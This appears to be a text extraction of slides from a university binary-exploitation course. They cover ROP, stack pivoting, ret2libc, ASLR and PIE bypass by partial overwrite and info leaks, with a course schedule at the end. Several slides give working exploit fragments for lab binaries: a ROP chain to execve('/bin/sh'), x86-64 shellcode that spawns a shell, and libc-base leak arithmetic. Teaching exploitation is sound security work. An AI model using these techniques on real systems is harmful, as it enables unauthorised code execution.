DEP Pwn - rpis.ec/pwn.pdf
& ROP 40
Stack Pivoting
• Fortunately, we have (lots of)
space controlled by us Lot of user controlled
space!

• We can place rest of ropchain ROP Gadget 1


in space controlled by us, then Data

pivot the rsp ROP Gadget 2

Data

Non controlled by us

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 41
Stack Pivoting
• We need more than 4 slots
• We can put rest of ropchain Lot of user controlled
space!
in space controlled by us

ROP Gadget 1

Data

• Last gadget: pop rsp ; ret ROP Gadget 2: pop rsp

addr of user data

Non controlled by us

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 42
Stack Pivoting
• We need more than 4 slots
• We can put rest of ropchain Now RSP is here and we
have more space to ROP
in space controlled by us

ROP Gadget 1

Data

• Last gadget: pop rsp ; ret ROP Gadget 2: pop rsp

addr of user data

Non Controlled by us

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 43
Stack Pivoting
• Now we are living the life

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 44
Stack Pivoting on Wargames

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 45
rsp
Another Pivot AAAAAAAA

AAAAAAAA

0x0

• Leave gadget: leave ; ret AAAAAAAA

AAAAAAAA
• Semantics of leave rbp old_rbp: 0x7fffffff….

0x400405

BBBBBBBB

BBBBBBBB

BBBBBBBB

BBBBBBBB

BBBBBBBB

0x7fffffff...

0x455e55
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 46
Another Way to Pivot
• Leave gadget: leave ; ret
• Semantics of leave
– rsp rbp + 0x8 rsp
0x400405
– rbp old_rbp
BBBBBBBB
• Bottom line: If we can set
BBBBBBBB
rbp to the right address, BBBBBBBB

leave ; ret would execute BBBBBBBB

a pivot to (essentially) that BBBBBBBB

rbp 0x7fffffff...
address
0x455e55
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 47
Runtime Memory

Better ROP .text

.rodata
• LIBC: .data
– Has functions like system, etc.
– Has ROP gadgets [heap]
– Why can’t we just call them?
• Calling conventions:
– 1st arg: rdi
libraries
– 2nd arg: rsi (libc…)
– 3rd arg: rdx
[stack]
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 48
Better ROP
• What if the gadgets in statically linked binary
aren’t good enough (e.g. no syscall)
• For normal dynamically linked binaries, the C
standard library (libc) must be in memory
– use libc functions, like system()
∘ “print system” in the debugger finds the
address of system in libc
– use libc gadgets
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 49
Better ROP on Wargames

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 50
For Now NO ASLR
• All function are mapped to the same address
• We will talk about this ALSR thing next week

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 51
Questions

???

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 52
Lecture Selanjutnya
Announcement
James Gao has joined MBE as mentor

Additional office hours on Mondays?

RPISEC - 02/27/2019
10/12/2021 ASLR 1
Address Space Layout
Randomization (ASLR)
It must be unexploitable. Confirmed
unsolvable.

RPISEC - 02/27/2019
10/12/2021 ASLR 2
Outline
1. Recap
2. ASLR (Cake)
3. ASLR (PIE)
4. Getting around ASLR
a. Partial overwrite
b. Information leaks

RPISEC - 02/27/2019
10/12/2021 ASLR 3
Recap

RPISEC - 02/27/2019
10/12/2021 ASLR 4
It’s 2021...
Let’s say we have full control over the stack…
- win function? the world isn’t a CTF challenge
- shellcode?

o u t
g e t
e t ’s ’s
L e 9 0
o f t h

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 5
DEP/NX/W^X (This is always on unless you’re running on a potato)

Stack/data is mapped No eXecute


aka DEP (Data Execution Prevention)
aka W^X (Write xor eXecute)
- memory regions are marked writeable or executable,
not both

No more shellcode!

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 6
Runtime Memory

Memory Segments .text

.rodata
• Program Code (Read and Execute) .data
– .text
– libraries [heap]
• User Data (Read and Write)
– stack
– heap
libraries
(libc…)

[stack]
RPISEC - 02/27/2019
10/12/2021 ASLR 7
Return Oriented Programming (ROP)

• Code reuse
– Can’t use our own code...
– What if we string together existing code to do what
we want, a few instructions at a time
– These are called gadgets add rax, 0x4
ret
– Small bits of code ending in a ret

pop rax pop rbx xchg rsp, rax


ret pop rdx ret
syscall
ret

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 8
Return Oriented Programming (ROP)

Now with ROP:


pop rdi 0x401d70
rax: ? pop rax
ret 0x600864 -> “/bin/sh”
rdi: ? 0x3b

rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0

0x0
syscall
0x455e55

syscall

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 9
Return Oriented Programming (ROP)

Now with ROP: rip pop rdi


rax: ? pop rax
ret 0x600864 -> “/bin/sh”
rdi: ? 0x3b

rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0

0x0
syscall
0x455e55

syscall

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 10
Return Oriented Programming (ROP)

Now with ROP:


pop rdi
rax: ? rip pop rax
ret

rdi: 0x600864 “/bin/sh” 0x3b

rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0

0x0
syscall
0x455e55

syscall

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 11
Return Oriented Programming (ROP)

Now with ROP: pop rdi


pop rax
rax: 0x3b rip ret

rdi: 0x600864 “/bin/sh”


rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0

0x0
syscall
0x455e55

syscall

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 12
Return Oriented Programming (ROP)

Now with ROP:


pop rdi
rax: 0x3b pop rax
ret

rdi: 0x600864 “/bin/sh”


rsi: ?
rip pop rsi
rdx: ? pop rdx
ret
0x0

0x0
syscall
0x455e55

syscall

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 13
Return Oriented Programming (ROP)

Now with ROP:


pop rdi
rax: 0x3b pop rax
ret

rdi: 0x600864 “/bin/sh”


rsi: 0x0
pop rsi
rdx: ? rip pop rdx
ret
0x0
syscall
0x455e55

syscall

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 14
Return Oriented Programming (ROP)

Now with ROP:


pop rdi
rax: 0x3b pop rax
ret

rdi: 0x489864 “/bin/sh”


rsi: 0x0
pop rsi
rdx: 0x0 rip
pop rdx
ret
syscall
0x455e55

syscall

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 15
Return Oriented Programming (ROP)

Now with ROP:


pop rdi
rax: 0x3b pop rax
ret

rdi: 0x489864 “/bin/sh”


rsi: 0x0
pop rsi
rdx: 0x0 pop rdx
ret
syscall
Shell! :D rip syscall

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 16
Stack Pivoting
• We need more than 4 gadget spaces Now RSP is here and we
have more space to ROP
• We can put more in another space
• Use last gadget to pop rsp ; ret

• Another way to pivot: ROP 1

leave ; ret Data

pop rsp

addr of user data

Non Controlled by us

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 17
Stack Pivot
• Now we are living the life

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 18
Better ROP
• What if the gadgets in .text aren’t good
enough (e.g. no syscall)

• For normal dynamically linked binaries, the C


standard library (libc) must be in memory
somewhere!
– ret2libc: use libc functions, like system()

RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 19
ASLR

RPISEC - 02/27/2019
10/12/2021 ASLR 20
So Far… RUN #1
Started 'lab5C'
Breakpoint Hit: 0x400a08
wdb> info proc mappings
0x400000-0x402000 r-x lab5C [exe]
0x601000-0x602000 r-- lab5C [exe]
0x602000-0x603000 rw- lab5C [exe]
0x7f0000000000-0x7f0000228000 r-- ld-linux-x86-64.so.2
[interp]
0x7f0000228000-0x7f00003e8000 r-x libc.so.6
0x7f00003e8000-0x7f00005e8000 --- libc.so.6
0x7f00005e8000-0x7f00005ec000 r-- libc.so.6
0x7f00005ec000-0x7f00005ee000 rw- libc.so.6
0x7f00005ee000-0x7f00005f2000 rw-
0x7f00005f2000-0x7f00005f3000 rw-
0x7f00005f3000-0x7f00005f4000 rw-
0x7ffffffde000-0x7ffffffff000 rwx [stack]

RPISEC - 02/27/2019
10/12/2021 ASLR 21
So Far… RUN #2
Started 'lab5C'
Breakpoint Hit: 0x400a08
wdb> info proc mappings
0x400000-0x402000 r-x lab5C [exe]
0x601000-0x602000 r-- lab5C [exe]
0x602000-0x603000 rw- lab5C [exe]
0x7f0000000000-0x7f0000228000 r-- ld-linux-x86-64.so.2
[interp]
0x7f0000228000-0x7f00003e8000 r-x libc.so.6
0x7f00003e8000-0x7f00005e8000 --- libc.so.6
0x7f00005e8000-0x7f00005ec000 r-- libc.so.6
0x7f00005ec000-0x7f00005ee000 rw- libc.so.6
0x7f00005ee000-0x7f00005f2000 rw-
0x7f00005f2000-0x7f00005f3000 rw-
0x7f00005f3000-0x7f00005f4000 rw-
0x7ffffffde000-0x7ffffffff000 rwx [stack]

RPISEC - 02/27/2019
10/12/2021 ASLR 22
So Far… RUN #3
Started 'lab5C'
Breakpoint Hit: 0x400a08
wdb> info proc mappings
0x400000-0x402000 r-x lab5C [exe]
0x601000-0x602000 r-- lab5C [exe]
0x602000-0x603000 rw- lab5C [exe]
0x7f0000000000-0x7f0000228000 r-- ld-linux-x86-64.so.2
[interp]
0x7f0000228000-0x7f00003e8000 r-x libc.so.6
0x7f00003e8000-0x7f00005e8000 --- libc.so.6
0x7f00005e8000-0x7f00005ec000 r-- libc.so.6
0x7f00005ec000-0x7f00005ee000 rw- libc.so.6
0x7f00005ee000-0x7f00005f2000 rw-
0x7f00005f2000-0x7f00005f3000 rw-
0x7f00005f3000-0x7f00005f4000 rw-
0x7ffffffde000-0x7ffffffff000 rwx [stack]

RPISEC - 02/27/2019
10/12/2021 ASLR 23
So Far… No ASLR
• All the addresses are in the same place!
• So we could get the libc base address in the
debugger and hardcode it into our exploit and
rop gadgets
• E.g. code:
base_addr = 0x7f0000228000
pop_rax_addr = base_addr + 0x33544

RPISEC - 02/27/2019
10/12/2021 ASLR 24
So Far… No ASLR
• E.g. code:
base_addr = 0x7f0000228000
binsh_addr = 0x7f...
pop_rax_addr = base_addr + 0x33544
pop_rdi_addr = base_addr + 0x…

p.sendline(...+p64(pop_rax_addr)+p64(0x3b)+
p64(pop_rdi_addr)+p64(binsh_addr)+...

RPISEC - 02/27/2019
10/12/2021 ASLR 25
So Far... No ASLR
• Life can’t be that easy...

RPISEC - 02/27/2019
10/12/2021 ASLR 26
ASLR

Address-Space-Layout-
Randomization

RPISEC - 02/27/2019
10/12/2021 ASLR 27
ASLR
• A runtime mitigation that ensures that
address ranges for important memory
segments are random for each execution
• This means gadgets are in different places!

RPISEC - 02/27/2019
10/12/2021 ASLR 28
ASLR Cake
• ASLR is enabled on the system
• First level of ASLR is sometimes referred to as
cake:
– system-wide Address Space Layout Randomization
(ASLR) enabled means the stack, heap, and libraries
will be placed in different memory locations every
time we run the binary
– binary itself (e.g., .text) does not take advantage of
such mitigations, it will remain in a fixed location
RPISEC
10/12/2021
across launches
- 02/27/2019 ASLR 29
Run #1
Started 'cake'
Breakpoint 1: 0x40163d, main+0
wdb> info proc mappings
0x400000-0x403000 r-x cake [exe]
0x602000-0x603000 r-- cake [exe]
0x603000-0x604000 rw- cake [exe]
0x7f724950d000-0x7f7249735000 r-- ld-linux-x86-64.so.2
[interp]
0x7f7249735000-0x7f72498f5000 r-x libc.so.6
0x7f72498f5000-0x7f7249af5000 --- libc.so.6
0x7f7249af5000-0x7f7249af9000 r-- libc.so.6
0x7f7249af9000-0x7f7249afb000 rw- libc.so.6
0x7f7249afb000-0x7f7249aff000 rw-
0x7f7249aff000-0x7f7249b00000 rw-
0x7f7249b00000-0x7f7249b01000 rw-
0x7ffe54a72000-0x7ffe54a93000 rw- [stack]

RPISEC - 02/27/2019
10/12/2021 ASLR 30
Run #2
Started 'cake'
Breakpoint 1: 0x40163d, main+0
wdb> info proc mappings
0x400000-0x403000 r-x cake [exe]
0x602000-0x603000 r-- cake [exe]
0x603000-0x604000 rw- cake [exe]
0x7f64e8d2c000-0x7f64e8f54000 r-- ld-linux-x86-64.so.2
[interp]
0x7f64e8f54000-0x7f64e9114000 r-x libc.so.6
0x7f64e9114000-0x7f64e9314000 --- libc.so.6
0x7f64e9314000-0x7f64e9318000 r-- libc.so.6
0x7f64e9318000-0x7f64e931a000 rw- libc.so.6
0x7f64e931a000-0x7f64e931e000 rw-
0x7f64e931e000-0x7f64e931f000 rw-
0x7f64e931f000-0x7f64e9320000 rw-
0x7fff1300a000-0x7fff1302b000 rw- [stack]

RPISEC - 02/27/2019
10/12/2021 ASLR 31
Run #3
Started 'cake'
Breakpoint 1: 0x40163d, main+0
wdb> info proc mappings
0x400000-0x403000 r-x cake [exe]
0x602000-0x603000 r-- cake [exe]
0x603000-0x604000 rw- cake [exe]
0x7f604e6cf000-0x7f604e8f7000 r-- ld-linux-x86-64.so.2
[interp]
0x7f604e8f7000-0x7f604eab7000 r-x libc.so.6
0x7f604eab7000-0x7f604ecb7000 --- libc.so.6
0x7f604ecb7000-0x7f604ecbb000 r-- libc.so.6
0x7f604ecbb000-0x7f604ecbd000 rw- libc.so.6
0x7f604ecbd000-0x7f604ecc1000 rw-
0x7f604ecc1000-0x7f604ecc2000 rw-
0x7f604ecc2000-0x7f604ecc3000 rw-
0x7ffd43bd7000-0x7ffd43bf8000 rw- [stack]

RPISEC - 02/27/2019
10/12/2021 ASLR 32
Cake on Wargames

RPISEC - 02/27/2019
10/12/2021 ASLR 33
PIE

PIE is no piece of cake.

RPISEC - 02/27/2019
10/12/2021 ASLR 34
ASLR PIE
• Position Independent Executable
• An executable compiled such that its base
address can be relocated
• Enabled with `-pie -fPIE` option

RPISEC - 02/27/2019
10/12/2021 ASLR 35
PIE heads up (Breakpoints)
● Without PIE we can do this
○ b * 0x4006b0
○ Sets a breakpoint at 0x4006b0

● With PIE
○ b main+44
○ Sets a breakpoint at main+44
○ Re-applies properly with relocation of base address
RPISEC - 02/27/2019
10/12/2021 ASLR 36
Run #1
Started 'pie'
Breakpoint 0: 0x5586d8fbe9d3, main
wdb> info proc mappings
0x5586d8fbd000-0x5586d91c1000 r-x pie [exe]
0x7f3183a69000-0x7f3183c91000 r-- ld-linux-x86-64.so.2
[interp]
0x7f3183c91000-0x7f3183e51000 r-x libc.so.6
0x7f3183e51000-0x7f3184051000 --- libc.so.6
0x7f3184051000-0x7f3184055000 r-- libc.so.6
0x7f3184055000-0x7f3184057000 rw- libc.so.6
0x7f3184057000-0x7f318405b000 rw-
0x7f318405b000-0x7f318405c000 rw-
0x7f318405c000-0x7f318405d000 rw-
0x7ffdf28a1000-0x7ffdf28c2000 rw- [stack]

RPISEC - 02/27/2019
10/12/2021 ASLR 37
Run #2
Started 'pie'
Breakpoint 0: 0x55a3192f29d3, main
wdb> info proc mappings
0x55a3192f1000-0x55a3194f5000 r-x pie [exe]
0x7f4dc3d9d000-0x7f4dc3fc5000 r-- ld-linux-x86-64.so.2
[interp]
0x7f4dc3fc5000-0x7f4dc4185000 r-x libc.so.6
0x7f4dc4185000-0x7f4dc4385000 --- libc.so.6
0x7f4dc4385000-0x7f4dc4389000 r-- libc.so.6
0x7f4dc4389000-0x7f4dc438b000 rw- libc.so.6
0x7f4dc438b000-0x7f4dc438f000 rw-
0x7f4dc438f000-0x7f4dc4390000 rw-
0x7f4dc4390000-0x7f4dc4391000 rw-
0x7fff4237f000-0x7fff423a0000 rw- [stack]

RPISEC - 02/27/2019
10/12/2021 ASLR 38
Run #3
Started 'pie'
Breakpoint 0: 0x55b45e72a9d3, main
wdb> info proc mappings
0x55b45e729000-0x55b45e92d000 r-x pie [exe]
0x7f5f091d5000-0x7f5f093fd000 r-- ld-linux-x86-64.so.2
[interp]
0x7f5f093fd000-0x7f5f095bd000 r-x libc.so.6
0x7f5f095bd000-0x7f5f097bd000 --- libc.so.6
0x7f5f097bd000-0x7f5f097c1000 r-- libc.so.6
0x7f5f097c1000-0x7f5f097c3000 rw- libc.so.6
0x7f5f097c3000-0x7f5f097c7000 rw-
0x7f5f097c7000-0x7f5f097c8000 rw-
0x7f5f097c8000-0x7f5f097c9000 rw-
0x7ffe1117a000-0x7ffe1119b000 rw- [stack]

RPISEC - 02/27/2019
10/12/2021 ASLR 39
Pie on Wargames

RPISEC - 02/27/2019
10/12/2021 ASLR 40
We got RIP what do

B LE
LVA
• We have RIP in a program, but all addresses
are random so where do we go?

N S O
U
RPISEC - 02/27/2019
10/12/2021 ASLR 41
But do they got us?
• There are ways around PIE and ASLR
• We can still exploit
• Protections make exploitation harder, but
they are never perfect (for now)

RPISEC - 02/27/2019
10/12/2021 ASLR 42
Partial Overwrites

Just a little bit

RPISEC - 02/27/2019
10/12/2021 ASLR 43
Partial Overwrites
• If we look at Pie exercise
• return address of do_function:
Run #1: 0x556C8D4B2A77
Run #2: 0x55B3676FAA77
Run #3: 0x55714C27CA77
Run #4: 0x555C733BFA77

RPISEC - 02/27/2019
10/12/2021 ASLR 44
Partial Overwrites
• If we look at Pie exercise
• return address of do_function:
Run #1: 0x556C8D4B2A77
Run #2: 0x55B3676FAA77
Run #3: 0x55714C27CA77
Run #4: 0x555C733BFA77

RPISEC - 02/27/2019
10/12/2021 ASLR 45
But Look ...
do_system RA get_shell
0x556090ed4a77 --> 0x556090ed4a7a

We can overwrite that last byte ...

RPISEC - 02/27/2019
10/12/2021 ASLR 46
More
0x5562c3632a10 Green always the same.
0x5571a38e2a10 Last three nibbles always
the same
0x55714c27ca10
0x555c733bfa10

Yellow 1/16 chance of


getting it right
Red 1/4096

RPISEC - 02/27/2019
10/12/2021 ASLR 47
Now them good Leaks

Yum

RPISEC - 02/27/2019
10/12/2021 ASLR 48
Information Leaks
• Leak data from runtime to user
unintentionally
• Sometimes information leaks can help us find
addresses that we need

RPISEC - 02/27/2019
10/12/2021 ASLR 49
Blatant Leak
------------------------------------------------------------
--[ Lecture 7 - Blatant Information Leak
------------------------------------------------------------
------------- /!\ NEW STACKFRAME ALLOCATED /!\ -------------
libc strlen(...) @ 0x7f2e96ea8720

RPISEC - 02/27/2019
10/12/2021 ASLR 50
Blatant Leak
------------------------------------------------------------
--[ Lecture 7 - Blatant Information Leak
------------------------------------------------------------
------------- /!\ NEW STACKFRAME ALLOCATED /!\ -------------
libc strlen(...) @ 0x7f2e96ea8720

RPISEC - 02/27/2019
10/12/2021 ASLR 51
LIBC base
• 0x7f2e96e1d000-0x7f2e96fdd000 r-x libc.so.6
• 0x7f2e96ea8720-0x7f2e96e1d000=0x8b720

libc_base_addr = leaked_address - fixed_ offset

• Now know where libc base is!


• And we can now find functions and gadgets!

RPISEC - 02/27/2019
10/12/2021 ASLR 52
Get system
==== EXECUTION FINISHED ====
wdb> print system
$1 = 0x45390
Breakpoint 0: 0x55a2dda689d1, do_function+95
wdb> print system
$2 = 0x7f4d88780390
wdb> print 0x7f4d88780390 - 0x45390
$3 = 0x7f4d8873b000
• To get libc base, subtract fixed offset from leaked system
RPISEC address
- 02/27/2019
10/12/2021 ASLR 53
Defeating ASLR
• Instead of using absolute address:
– Partial overrides
– Find leaks
∘ A Single Leak Required
– Use relative address (what I called fixed offset)

RPISEC - 02/27/2019
10/12/2021 ASLR 54
Defeating ASLR
• Instead of using absolute address:
– Partial overrides
– find leaks
∘ A Single Leak Required

– Use relative addresses

RPISEC - 02/27/2019
10/12/2021 ASLR 55
Subtle Leak
------------------------------------------------------
--[ Lecture 7 - Subtle Information Leak
------------------------------------------------------
------- /!\ NEW STACKFRAME ALLOCATED /!\ -------
Enter data: AAAAAAAA
Your input was: AAAAAAAA '▒7
Enter data:
...

RPISEC - 02/27/2019
10/12/2021 ASLR 56
Subtle Leak
------------------------------------------------------
--[ Lecture 7 - Subtle Information Leak
------------------------------------------------------
------- /!\ NEW STACKFRAME ALLOCATED /!\ -------
Enter data: AAAAAAAA
Your input was: AAAAAAAA '▒7
Enter data:
...
41 41 41 41 41 41 41 41 20 57 3b a8 4e 7f 0a

RPISEC - 02/27/2019
10/12/2021 ASLR 57
Subtle Leak
------------------------------------------------------
--[ Lecture 7 - Subtle Information Leak
------------------------------------------------------
------- /!\ NEW STACKFRAME ALLOCATED /!\ -------
Enter data: AAAAAAAA
Your input was: AAAAAAAA '▒7
Enter data:
...
41 41 41 41 41 41 41 41 20 57 3b a8 4e 7f 0a
Pointer: 0x7f4ea83b5720 (u64 helpful)

RPISEC - 02/27/2019
10/12/2021 ASLR 58
Subtle Leak on Wargames

RPISEC - 02/27/2019
10/12/2021 ASLR 59
Questions

???

RPISEC - 02/27/2019
10/12/2021 ASLR 60
Lecture Selanjutnya
Recap and
Tools for Binary Exploitation
Slides by RPISEC and Ana Milanova

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 1
Schedule
• https://www.cs.rpi.edu/~milanova/csci4967/
• Chapter 7 (ASLR) due today, Oct 19
• Project 1 is “out” today and it is due on Friday,
Oct 29
• Resubmit of Ch. 2-7 is due on Friday, Oct 29

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 2
Schedule
• I will update Rainbow Grades with Ch. 6 & Ch. 7
after catch-up week next week

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 3
Schedule
• This week is Project week
• Next week is Catch-up week
• Lectures will cover miscellaneous topics of
interest
– We’ll discuss approaches and tricks
– We’ll talk about tools for binary exploitation

• We return to Wargames Chapter 8 in 2 weeks


RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 4
Agenda
1. Recap
a. Reversing, x86-64 crash course
b. Memory corruption and shellcoding
c. DEP and ROP
d. ASLR and PIE
2. Discussion
a. Your approach to challenges?
b. Tricks?
c. Tools?
d. Advice?
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 5
Agenda
3. Tools for binary exploitation (no Wargames in
the real world...)
a. Reverse engineering with Ghidra
b. Program analysis basics (next week)
c. Ghidra scripts (next week)

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 6
Recap

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 7
x86-64(!) Crash Course
Instructions: op dst, src
mov rax, 0x11 <-> (rax=0x11) <-> 48 c7 c0 11 00 00 00
add rbx, 0x11 <-> (rbx+=0x11) <-> 48 83 c3 11
sub rcx, rdx <-> (rcx-=rdx) <-> 48 01 d1
xor rcx, 0x12 <-> (rcx^=0x12) <-> 48 83 f1 12

You can mess around on defuse.ca/online-x86-assembler.htm

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 8
x86 Crash Course
Can operate on specific part of register
bits x86 mnemonic C type

long
64 QWORD
rax long

eax 32 DWORD int

ax
16 WORD short
same for rbx, rcx, rdx
ah al
8 BYTE char

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 9
Memory
Read: mov rax, QWORD PTR [rbx] (rax=*rbx)

Write: mov QWORD PTR [rbx], rax (*rbx=rax)

Read/write different widths:


mov BYTE PTR [rbx], al (*rbx=al)

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 10
Special Registers
There are some registers used for important things
rip - Instruction Pointer
rflags - flags used for conditional operations
rsp - Stack Pointer
rbp - Base Pointer

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 11
Conditional Jumps
• cmp dest, src

• jz LOC
• Jump to LOC if ZF = 1 (zero flag)
• jnz LOC
• Jump to LOC if ZF = 0
• jg LOC
• Jump to LOC if the result of a comparison cmp dest, src (the
comparison must come before jg) is dest > src

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 12
Disassembly and CFGs

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 13
CFG

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 14
No DEP Yet.
Injecting Code (as Stream)
Lower Memory -
Start of
typedef struct { my_str.data
char[48] data; -

void (*fp)(); -
} some_struct;
-

int main() { -
some_struct my_str; End of
- my_str.data
unsigned long i,j;
0x00
my_str.fp
my_str.fp = &func;
0x00
gets(my_str.data);
0x00 i,j = 0
...
my_str.fp();
0x7fff01020304 Saved RBP
} Higher Memory 0x... Return Address

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 15
Injecting Code (as Stream)
-
shellcode = -

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e -

\x2f\x2f\x73\x68\x56\x53\x54\x5f -

-
\x6a\x3b\x58\x31\xd2\x0f\x05"
-

p.sendline(shellcode + 0x00

0x00
‘A’*(48-len(shellcode)) + 0x00

p64(0x7fffffffed10)) 0x7fff01020304

0x...

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 16
Injecting Code (as Stream)
-
shellcode = -

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e -

\x2f\x2f\x73\x68\x56\x53\x54\x5f -

-
\x6a\x3b\x58\x31\xd2\x0f\x05"
-

p.sendline(shellcode + 0x00

0x00
‘A’*(48-len(shellcode)) + 0x00

p64(0x401123) + 0x7fff01020304

0x...
‘A’*24 + p64(0x7fffffffed10) )
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 17
Conversions
• p64(n : int): turns an integer n into 8 byte sequence
E.g., p64(0x7fffffffed10) ->
\x10\xed\xff\xff\xff\x7f\x00\x00
• u64(s : byte seq): turns 8-byte sequence s into an int
E.g., u64(\x10\xed\xff\xff\xff\x7f\x00\x00) ->
0x7fffffffed10 = 140737488350480
• int(s) parses a string s of decimal digits into an integer
• int(s,16) parses a string s of hex digits into an integer
E.g., int(’7fffffffed10’,16) -> 140737488350480
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 18
It’s 2021...
Let’s say we have full control over the stack…
- win function? the world isn’t a CTF challenge
- shellcode?

o u t
g e t
e t ’s ’s
L e 9 0
o f t h

RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 19
DEP/NX/W^X (This is always on unless you’re running on a potato)

Stack/data is mapped No eXecute


aka DEP (Data Execution Prevention)
aka W^X (Write xor eXecute)
- memory regions are marked writeable or executable,
not both

No more shellcode!

RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 20
Runtime Memory

Memory Segments .text

.rodata
• Program Code (Read and Execute) .data
– .text
– libraries
• User Data (Read and Write) [heap]

– stack
– heap

libraries
(libc…)

[stack]
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 21
Return Oriented Programming (ROP)

• Code reuse
– can’t use our own code
– what if we string together existing code to do what we want, a few
instructions at a time
– these are called gadgets
– these are small bits of code ending in a ret
add rax, 0x4
ret

pop rax pop rbx xchg rsp, rax


ret pop rdx ret
syscall
ret

RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 22
Return Oriented Programming (ROP)

Now with ROP:


pop rdi 0x401d70
rax: ? pop rax
ret 0x489864 -> “/bin/sh”
rdi: ?
0x3b
rsi: ?
0x400590
rdx: ? pop rsi
0x0
pop rdx
syscall ret
0x0

0x455e55

syscall

RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 23
We Draw Gadgets from libc!
What if the gadgets aren’t good enough (e.g. no syscall)
- notice we gave you a statically linked binary

For normal dynamically linked binaries, the C standard


library (libc) must be in memory somewhere...
ret2libc: use libc functions, like system(), use libc gadgets

RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 24
Stack Pivoting
• We need more than 4 gadget spaces Now RSP is here and we
have more space to ROP
• We can put more in another space
• Use pop rsp ; ret gadget
• Or leave ; ret gadget

ROP 1

Data

pop rsp

addr of user data

Non Controlled by us

RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 25
ASLR
• Address - Space - Layout - Randomization
• A runtime mitigation used to ensure that address
ranges for important memory segments are
random for every execution

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 26
ASLR
• ASLR is enabled on the system
• First level of ASLR is sometimes referred to as
CAKE where:
– System-wide Address Space Layout Randomization (ASLR)
enabled, the stack, heap, and libraries are placed at
different base address, every time you launch the binary
– Binary itself has not been compiled to take advantage of
such mitigations, it remains at fixed location across
launches

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 27
PIE
• Second level of ASLR is referred to (in Wargames) as PIE
• Position Independent Executable
• A binary compiled such that its base address is relocated
every time you launch the binary
• Enabled with `-pie -fPIE` option

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 28
Defeating ASLR and PIE: Leaks
• Partial overrides
• Info leaks leak data from runtime to the user
unintentionally
• Info leaks can help find base addresses!

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 29
Defeating ASLR and PIE
• Step 1: Find an info leak
– printf(“libc exit function @ %p\n” &exit): … 0x7f2f8a497030
– libc_base = 0x7f2f8a497030-0x3a030
(0x3a030 is the fixed offset, i.e., relative address, of exit in libc)

– printf(“do_func function @ %p\n” &do_function): … 0x55b436ced972


– pie_base = 0x55b436ced972-0x1972
(0x1972 is the fixed offset of do_funcion in binary)
• Step 2: Find space you control
• Step 3: Happily build ropchain
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 30
Project 1
wdb> checksec
[*] '/bin/p1_iot'
Arch: x86_64
RELRO: Full RELRO
Stack: Stack Cookie Detected
NX: NX Enabled
